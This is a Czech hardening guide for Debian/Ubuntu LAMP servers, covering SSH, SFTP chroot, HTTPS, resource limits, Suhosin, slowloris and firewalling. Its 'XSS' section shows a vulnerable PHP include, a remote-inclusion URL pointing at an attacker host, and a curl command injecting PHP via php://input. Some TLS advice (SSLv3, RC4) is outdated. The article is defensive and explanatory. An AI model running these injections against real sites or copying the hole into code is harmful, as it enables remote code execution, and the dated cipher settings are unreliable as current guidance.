V pondělí ráno přišel na abuse adresu naší firmy celkem klasický report: “Někdo z IP x.x.x.x zkouší na našem serveru lámat hesla hrubou silou, udělejte si s tím něco.”

IP byla adresa virtuálního serveru který hostujeme a k podezřelé aktivitě podle netflow skutečně docházelo. Majitel nebyl na telefonu dostupný, tak nezbylo než poslat mail s vysvětlením a virtuální server odpojit od sítě.

Majitel se později ozval a chtěl poradit, co má dělat, aby se to příště nestalo. Nejraději bych ho odkázal na nějaký článek, protože ta problematika je celkem rozsáhlá. Nic jsem ale nemohl najít. Zkusím tedy shrnout to, co jsem se za léta naučil, dle možností stručně a s příklady.

Motivace

Mnoho lidí ví, jak zabezpečit desktop (s Windows), tam jsou pravidla jasná: antivirus, firewall, aktualizace. Někteří přidávají ještě používat bezpečný prohlížeč. Jak ale zabezpečit server? Pravidla jsou celkem podobná: firewall, bezpečnostní aktualizace, používání bezpečných protokolů a silných hesel.

Také je velmi důležité omezit prostředky, které může server k obsluhování klientů využít. Zkrátka méně je někdy více. Nemá smysl povolit 100 PHP procesů s limitem 64M RAM každý na serveru s 1024M RAM. Obecně vyšší počet procesů než cca dvoj- až třínásobek CPU jader běžících naráz nemá moc smysl.

Když vám z důvodu nedostatku systémových prostředků spadne desktop, tak jednak víte, co jste s ním dělali, než spadl, a jednak ho můžete snadno restartovat. Když spadne z důvodu nedostatku prostředků webserver, tak ani nevíte, co to vlastně způsobilo, protože server před pádem třeba ani nestihne zapsat do logu.

To je mimo jiné důvod, proč se pro větší weby vyplatí používat proxy servery nebo balancery. Proxy mívá o řád vyšší výkon než aplikační server, takže lze minimálně zjistit, co aplikační server shodilo. O tom ale až někdy příště. Nyní zabezpečujeme samotný aplikační server.

Co si tedy dnes ukážeme?

Ukážeme si jak upravit konfiguraci LAMP serveru tak aby byl alespoň základně zabezpečený a nehrozilo, že vám server někdo během pár chvil vyhackuje, unese a bude vaším jménem škodit.

Abychom mohli server zabezpečit, musíme porozumět možným hrozbám a pokud možno je umět nasimulovat, abychom mohli ověřit, že zvolené zabezpečení funguje.

• SSH bruteforce
• kradení FTP účtů
• kradení účtů do databáze/phpMy­Admina
• OOM na MySQL
• OOM na Apache2/PHP
• XSS
• http DoS slow loris
• nastavení firewallu
• kontrola aktualizací

SSH bruteforce password cracking

Nejjednodušším způsobem, jak získat cizí špatně zabezpečený linuxový server, je uhodnout heslo roota. To může být překvapivě snadné, protože i v roce 2011 jsou lidé, kteří zvolí jako heslo roota ‘testtest’, vzestupnou nebo sestupnou číselnou řadu nebo hostname serveru (např. pro hostname neptun.domena.cz root heslo neptun). Řešení: nepoužívat hesla vůbec. Pokud to z nějakého důvodu není možné, nepoužívat ssh přístup k serveru přes účet root, místo toho používat uživatele user a sudo nebo su. Pozor, i v případě, že se rozhodnete přihlašovat k serveru pomocí klíčů, musí být heslo roota dostatečně bezpečné, protože su může provést kdokoli, kdo se na server alespoň trochu dostane, tedy např. váš uživatel nebo i zákeřný cizí kód, který získá možnost spustit kód např. pod účtem webserveru.

Ve výchozí debianí instalaci používám k nastavení požadovaného způsobu přístupu následující kód:

sed -i -e 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i -e 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
u=adminuser
useradd -s /bin/bash -m $u
mkdir ~$u/.ssh
echo "ssh-rsa AAAA…..= user@host" > ~$u/.ssh/authorized_keys
chmod 600 ~$u/.ssh/authorized_keys
chmod 700 ~$u/.ssh
chown -R $u:$u ~$u/.ssh
echo "$u         ALL=(ALL)       ALL" >> /etc/sudoers
/etc/init.d/ssh restart

V této ukázce kódu změním nastavení ssh serveru tak, aby server přijímal pouze non-root uživatele a navíc zakážu přihlašování heslem, ve výchozí situaci zbude tedy možnost přihlašování klíči.

Další možnosti ochrany proti útokům hrubou silou na ssh jsou:

• používání IP accesslistu
• používání nestandardního ssh portu
• ťukání

Já osobně považuji přístup přes klíče za základ a tyto metody za doplňkové. Proto jen v rychlosti:

ufw allow from my.office.add.ress/32 to any proto tcp port 922
ufw allow from my.home.add.ress/32 to any proto tcp port 922
sed -i -e 's/Port 22/Port 922/' /etc/ssh/sshd_config
/etc/init.d/ssh restart

O ťukání na server se již česky psalo: http://www.ro­ot.cz/clanky/port-knocking-zaklepejte-na-svuj-server

Kradení FTP účtů

Dalším zdrojem problémů je přístup přes FTP, který stále mnoho tvůrců webů požaduje. FTP používá nejčastěji nezabezpečenou komunikaci, takže heslo lze odposlechnout kdekoliv po síti, nejsnáze přímo na počítači, ze kterého se uživatel na FTP připojuje. Webmasteři také s oblibou používají Total Commander a hesla k FTP účtům ukládají v něm. Útočník tak nemusí čekat, až se bude webmaster na server připojovat, a hesla k FTP si může vyzvednout okamžitě. Hesla sice v souboru nejsou uložená přímo v čitelné podobě, ale nejsou ani zašifrovaná. Buď lze použít nástroje jako tento http://www.re­active-software.com/total-commander-password-recovery.html, nebo lze prostě wcftp.ini stáhnout a spustit se svým Total Commanderem a rovnou se k serveru připojit.

Možných řešení je víc, osobně se mi osvědčilo FTP prostě nepoužívat. Zhruba od verze 5.1 má OpenSSH integrovaný sftp server, který má tu zajímavou vlastnost, že lze uživatele zamknout do chrootu, aniž by bylo potřeba složitě kopírovat knihovny a vytvářet dev nody, potřebné pro funkčnost předchozích řešení.

Konfigurace je triviální. Na konec souboru /etc/ssh/sshd_config přidáme následující blok

AuthorizedKeysFile /etc/ssh-keys/%u.pub
ChrootDirectory /var/www/%u
AllowTcpForwarding no
Subsystem sftp internal-sftp

Match Group admin
    ChrootDirectory none
    AllowTcpForwarding yes

Umístění veřejného ssh klíče mimo chroot prostor uživatele jsem zvolil záměrně, aby si uživatel nemohl omylem svůj klíč smazat (Co je to tady za nepořádek, žádné skryté složky s podivnými soubory tu nechci, když tu má být můj web). Krom toho je potřeba udělat skupinu admin a do ní dát našeho uživatele adminuser, a také je potřeba přesunout nebo nalinkovat jeho veřejný klíč do /etc/ssh-keys. To je proto, že nechceme, aby náš administrátor byl omezen chrootem stejně jako ostatní uživatelé.

Sshd vyžaduje, aby chroot dir byl vlastněn rootem, takže v praxi jsem nenechal dávat uživatele jejich web přímo do kořenu, ale vytvořil jsem jim složku www.domena.cz, která je již vlastněna jimi.

Dále jsem chtěl zajistit, aby při pokusu o přímý ssh přístup uživatel dostal hlášku, že přístup je pouze přes sftp. K tomu jsem potřeboval do chrootu umístit binárku, která by toto napsala a skončila, a pokud možno se nedala nějakými triky přimět ke spuštění interaktivního shellu. Jedná se v podstatě o program hello world, takže v C může vypadat asi takto:

#include <stdio.h>
int main() {
 printf("Only sftp access is allowed. Get sftp, or http://winscp.net/
and try again.n");
return 0;
}

a tento je třeba přeložit a slinkovat staticky, aby se nemusely kopírovat knihovny, asi takto:

gcc -Wall -W -Os -static -out sftp-only sftp-only.c
strip sftp-only

Vzniklá binárka na mém stroji má asi půl mega. Komu by to vadilo, může si udělat za domácí úkol hello world v assembleru, lze se dostat na půl kila.

Binárku umístíme do /var/www/$user/bin

Nyní máme sftp server připraven, otestujeme pomocí vhodného klienta, např. winscp (vcelku chodí ve wine, takže lze otestovat z linuxu), nebo např. pomocí kio-sftp z file manageru v KDE.

Kradení účtů k databázi

Většina webmasterů uvítá možnost použití phpMyAdmina.

PhpMyAdmin je sice standard, ale v historii měl problémy (např. http://secuni­a.com/advisori­es/product/1720/?tas­k=advisories_2008), takže stojí za to zmínit český Adminer (dříve phpMinAdmin), který sice nemá debian/ubuntu balíček, ale je v jediném souboru a tak lze nainstalovat jediným příkazem:

wget -O adminer.php http://downloads.sourceforge.net/adminer/adminer-3.3.3.php

Mnoho hostingů správce databáze provozuje přes http. Přitom je velmi snadné rozchodit https přístup. Není-li login do administrace MySQL zabezpečen, je snadné přístupové údaje odposlechnout.

V prvním kroku vygenerujeme privátní klíč a žádost o podepsání certifikátu:

# openssl genrsa -out www.domena.cz.key 4096
# openssl req -new -key www.domena.cz.key -out www.domena.cz.csr
You are about to be asked to enter information that will be incorporated into your
certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ‘.’, the field will be left blank.
——-
Country Name (2 letter code) [AU]:CZ
State or Province Name (full name) [Some-State]:Czech Republic
Locality Name (eg, city) []:Prague
Organization Name (eg, company) [Internet Widgits Pty Ltd]:punkhosting
Organizational Unit Name (eg, section) []:phpMyAdmin
Common Name (eg, YOUR name) []:www.domena.cz
Email Address []:admin@domena.cz
Please enter the following ‘extra’ attributes to be sent with your certificate request
A challenge password []:
An optional company name []:

Důležité je při generování CSR vyplnit jako Common Name FQDN jméno serveru, i když nápověda říká “eg, YOUR name”.

Nyní si certifikát necháme podepsat, například zadarmo na https://www.star­tssl.com/, nebo na zkoušku zadarmo na https://rapid­ssl.com nebo lze využít služby české firmy IglooNet https://www.ssl-certifikaty.cz/

Pokud máme privátní klíč a podepsaný certifikát, můžeme nastavit Apache.

Provedeme jako root:

# a2enmod ssl
# a2ensite default-ssl

A do souboru /etc/apache2/sites-enabled/default-ssl umístíme toto:

SSLEngine on
SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite ALL:!aNULL:!ADH:!DH:!EDH:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH
SSLCertificateFile    /etc/ssl/certs/www.domena.cz.crt
SSLCertificateKeyFile /etc/ssl/private/www.domena.cz.key

Jedná se pouze o cesty k souborům a nastavení povolených šifer a protokolů. Výchozí hodnoty jsou pro dnešní dobu již příliš benevolentní. Pokud je vše v pořádku, po restartu apache2 je možné otevřít https://www.domena.cz/ a také je možné otestovat kvalitu nastavení pomocí jednoduchého testu zde: https://www.ssllab­s.com/ssldb/

Pokud použijeme výše uvedené nastavení, výsledek by měl být alespoň 80%. Zkuste si tento test na některé z českých bank.

Problémy s prostředky zabranými databází – OOM

V PHP existuje možnost ukončit provádnění skriptu po určité době, např. 10 sekund. PHP ukončí skript, ale pokud tento zrovna čeká na dotaz v databázi, tak provádění dotazu v DB se neukončí. Co udělá uživatel, když se mu stránka nenačte? Začne zuřivě mačkat F5, očekává, že zuřivější refreshování přinese rychlejší vykreslení stránky. Během několika sekund máme zabraná všechna spojení s databází a stránky nefungují.

Řešení: žádné snadné neexistuje. Osvědčilo se mi ale nastavovat resource limity databáze tak, aby spíš přestaly fungovat jedny stránky, než aby spadnul celý server.

Základním nástrojem je mysqltuner.pl. Instaluje se

# wget http://mysqltuner.pl
# chmod +x mysqltuner.pl

mysqltuner.pl po spuštění načte informace o databázích, tabulkách a nastavení serveru a vydá doporučení pro optimalizaci. Osvědčilo se mi zejména snížit maximální počet spojení a maximální počet spojení jednoho uživatele.

# max_connections=60 do /etc/mysql/my.cnf

Přidělování práv uživatelům:

GRANT ALL PRIVILEGES ON `database`.* TO user@localhost WITH
MAX_USER_CONNECTIONS 20;

OOM v apache2

V balíčku apache2-utils se nachází užitečný nástroj ab. To je zkratka za Apache Benchmark a skutečně ho lze využít k testování výkonu. My jsme jej například používali k testování výkonu virtuálního clusteru ze 4 až 10 apache2 serverů s varnish load balancerem v rámci projektu horizontálního škálování webové aplikace.

ab je ale užitečný i pro jednotlivé servery. Hlavní příjemnou vlastností je, že ab umí stahovat paralelně a nepoužívá k tomu vlákna ani procesy, ale (na linuxu) jaderné volání epoll (podobně jako nginx), takže dokáže bez velké režie obsluhovat třeba i tisíce současných spojení.

ab -c 10 -n 100 http://localhost/page.php

V uvedeném příkladu stáhneme stránku page.php celkem stokrát, a to deseti současnými spojeními.

Z nějakého důvodu je výchozí instalace apache2 s php v debianu nastavena pro server s asi tak 20GB RAM:

root@jl-test-debian6:~# cat /etc/php5/apache2/php.ini  | grep memory_limit
memory_limit = 128M
root@jl-test-debian6:~# cat /etc/apache2/apache2.conf | grep MaxClient
# MaxClients: maximum number of server processes allowed to start
    MaxClients          150

Pokud se použije (pro php5 výchozí) MPM prefork, znamená to skutečně max. 150 procesů a každý může teoreticky zabrat 128M ram jen v PHP datech, nepočítaje v to sdílené knihovny a pod.

PHP memory limit je třeba zvolit dle provozované aplikace. Obecně žravé jsou fotogalerie, protože nejčastěji generují náhledy v RAM, t.j. pro fotku 12Mpix je třeba minimálně 64M RAM pro zpracování. Spousta aplikací ale není tak náročná, takže např. pro server s 512M RAM bych navrhoval začít na následujících hodnotách:

# /etc/php5/apache2/php.ini
memory_limit = 24M
# /etc/apache2/apache2.conf
MaxClients 20
MaxSpareServers  10
MinSpareServers  5

Součin MaxClients a php memory_limit se musí vejít do RAM, server nesmí swapovat, jinak půjde výkon limitně k nule.

Dále je dobré omezit dobu otevření keep-alive spojení, výchozí hodnota KeepAliveTimeout 15 je při dnešních rychlostech broadband připojení zbytečně benevolentní.

Nyní je možné zkusit test s programem ab. Počet konkurenčních spojení můžete klidně nastavit na 500, server by neměl spadnout. Doporučuji však pro jistotu před testem vypnout swap ( swapoff -a), lépe je nechat apache2 zabít OOM killerem, než mít desítky minut naprosto zabržděný systém.

XSS problémy

Mnoho lidí začalo používat PHP jako jednoduchý šablonovací nástroj

<?php
  require "header.php";
  require $_GET['page'].'.php';
  require "footer.php";
?>

a cesta k podstránce pak je: http://www.do­mena.cz/index­.php?page=kon­takty

Pro útočníka jsou to otevřená vrata. Stačí zavolat http://www.do­mena.cz/index­.php?page=http://bl­ackserver.ru/hac­k.php?zbytek= a server poslušně otevře http://blackser­ver.ru/hack.php?zby­tek=.php a začne provádět kód. PHP samo o sobě buď neumí nebo neumělo zákázat načtení proudu místo souboru pomocí require. V php jsou sice direktivy:

allow_url_fopen
allow_url_include

ale i když jsou zakázány, lze použít url php://input a zákeřný kód poslat přímo do requestu pomocí metody POST, například takto:

$ curl -d @~/bad_file.php http://www.domena.cz/index.php?page=php://input 

Suhosin řeší tento a mnoho jiných problémů a umožňuje poměrně dobře pozakazovat rizikové vlastnosti.

Instalace v debianu je jednoduchá:

# apt-get install php5-suhosin

Konfigurace je pak v /etc/php5/conf.d/suhosin.ini  například takováto:

extension = suhosin.so
suhosin.log.syslog = 511
suhosin.log.syslog.facility = 30
suhosin.log.syslog.priority = 1
suhosin.simulation = 0
suhosin.mail.protect = 1
suhosin.post.max_vars = 1000
suhosin.post.max_value_length = 8097152

DoS – Omezení útoků typu slowloris

Více info: http://www.ro­ot.cz/clanky/u­tok-slowloris-aneb-plizive-nebezpeci-pro-web-servery/

Osvědčilo se mi pomocí modulu mod_limitipconn omezit max počet spojení pro jedno IP např. na 15, takže k DoS serveru je potřeba alespoň mít více IP. Metoda nastavení je popsána v odkazovaném článku. Vhodné řešení je také použít před apache2 nginx jako proxy, protože nginx není na tento typ útoku citlivý.

Firewall

V distribuci Ubuntu je k dispozici nástroj ufw, což značí “Nekomplikovaný firewall” – a je to pravda. Většina nástrojů pro správu firewallu je totiž určena pro routery, připojené do dvou nebo více sítí. Klasický server nebo desktop má ale jen jednu síťovou kartu a tak je nastavení pomocí “velkého” nástroje, jako je třeba shorewall, zbytečně složité. (Stojí také za zmínku, že v Debianu je od Squeeze dále ufw také k dispozici a je to jeden z mála případů, kdy dochází k obohacení debianu prací lidí z Cannonical a ne obráceně – pozn.aut.)

Ve výchozím nastavení v ufw může být vypnuta podpora ipv6, změníme tedy v /etc/default/ufw  IPV6=no na IPV6=yes.

ufw enable
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow 22/tcp

A je to – máme nastaven minimální firewall.

Zajímavou a užitečnou vlastností ufw je možnost nastavení logování, kdy od úrovně medium se mj. logují všechna nová spojení (případně úroveň high to dělá bez rate limitu, což ale může být příliš). Jak již bylo zmíněno, někdy server ani nestačí zapsat do logu. Potíž je také v tom, že apache2 zapisuje do logu dokončené požadavky. Pomocí firewallu si můžeme nechat logovat nová spojení, t.j. začátky požadavků. Firewall loguje skrze kernelovské volání printk, takže zprávy jdou do ringbufferu, příkaz dmesg funguje i v případě, že syslog nezapisuje.

Bezpečnostní aktualizace a jejich kontrola

Obecně nedůvěřuji tomu, když se server aktualizuje sám a kdy se mu zachce. Na druhou stranu je dobré vědět, zda jsou nějaké aktualizace dostupné, případně i zda jsou to kritické aktualizace. K tomu osobně používám skript check_apt z balíčku nagios-plugins, který je možné používat jak s dohledovým sw nagios, tak samostatně, protože všechny nagios pluginy vrací nenulový exit kód, pokud detekují varování nebo kritický stav.

Pro jednoduchost si ukážeme, jak kontrolovat dostupnost aktualizací 1× denně pomocí cronu a v případě, že nějaké aktualizace jsou si necháme zaslat e-mail:

Otevřeme v editoru /etc/cron.daily/check_apt a zadáme:

# minuta hodina den mesic dvt cmd
0 7 * * * /usr/lib/nagios/plugins/check_apt || (echo aktualizuj | mail -s "check_apt: "`hostname -f` my@email.cz)

Závěr

Dnes jsme si nakousli část ze svaté trojice linuxového admina (dohled, zabezpečení, zálohování). Doufejme, že tento úvod bude užitečný zejména pro začínající kolegy. Také budu rád, když se zkušenější kolegové podělí o své postřehy a nápady v diskusi.

Co se do tohoto dílu nevešlo, ale mohlo by stát za úvahu pro volné pokračování:

• použití nginx/varnish/per­lbal/haproxy jako proxy, cache, load balancer
• shared hosting s mpm_itk
• output firewall/transp. proxy
• používání noexec,nosuid,nodev mount options
• použití mod_logio pro logování POST dat

Další odkazy

• Útok slow loris detailně – http://ha.cker­s.org/slowloris/
• Jaké heslo je silné – http://xkcd.com/936/
• Detailní obrázkový návod na přihlášení klíčem z Putty z Windows™ – http://www.how­toforge.com/ssh_ke­y_based_login­s_putty
• Hello world v assembleru http://www.cin­.ufpe.br/~if817/ar­quivos/asmtut/in­dex.html
• Adminer http://www.ad­miner.org/
• XSS v pěkných příkladech http://ha.cker­s.org/xss.html
• Open web application security project https://www.o­wasp.org/index­.php/Main_Page